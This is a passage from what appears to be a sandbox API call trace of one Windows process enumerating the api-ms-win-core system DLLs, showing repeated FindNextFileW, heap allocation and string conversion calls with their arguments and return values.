lpMultiByteStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0024.054] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.054] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.054] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.054] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.054] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.054] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-core-misc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.054] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.054] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0024.054] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xddc288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0024.054] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.054] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.054] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.055] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.055] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.055] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-core-namedpipe-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.055] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.055] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0024.055] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0xddc120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0024.055] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.055] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.055] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.055] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.055] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.055] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-core-processenvironment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.055] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.055] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0024.055] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0xddc288, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 45 [0024.055] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.055] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.055] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.055] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.055] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.055] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-core-processthreads-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.055] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.055] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0024.055] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0xddc120, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 41 [0024.055] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.055] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.055] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.055] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.055] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.056] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="")) returned 1 [0024.056] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.056] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0024.056] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0xddc288, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", lpUsedDefaultChar=0x0) returned 41 [0024.056] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.056] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.056] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.056] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.056] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.056] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-core-profile-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.056] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.056] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0024.056] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0xddc120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0024.056] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.056] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.056] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.056] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.056] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.056] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-core-rtlsupport-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.056] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.056] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0024.056] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0xddc288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0024.056] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.056] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.056] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.056] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.056] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.056] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1cf673, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1cf673, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-core-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.057] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.057] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0024.057] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xddc120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0024.057] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.057] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.057] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.057] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.057] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.057] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d241a90, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d241a90, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-core-synch-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.057] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.057] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0024.057] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0xddc288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0024.057] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.057] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.057] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.057] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.057] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.057] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="")) returned 1 [0024.057] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.057] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0024.057] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0xddc120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0024.057] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.057] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.057] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.057] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.057] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.057] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-core-sysinfo-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.057] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.057] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0024.058] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0xddc288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0024.058] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.058] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.058] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.058] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.058] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.058] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d265d70, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-core-threadpool-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.058] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.058] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0024.058] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0xddc120, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0024.058] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.058] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.058] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.058] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.058] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.058] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.058] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.058] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 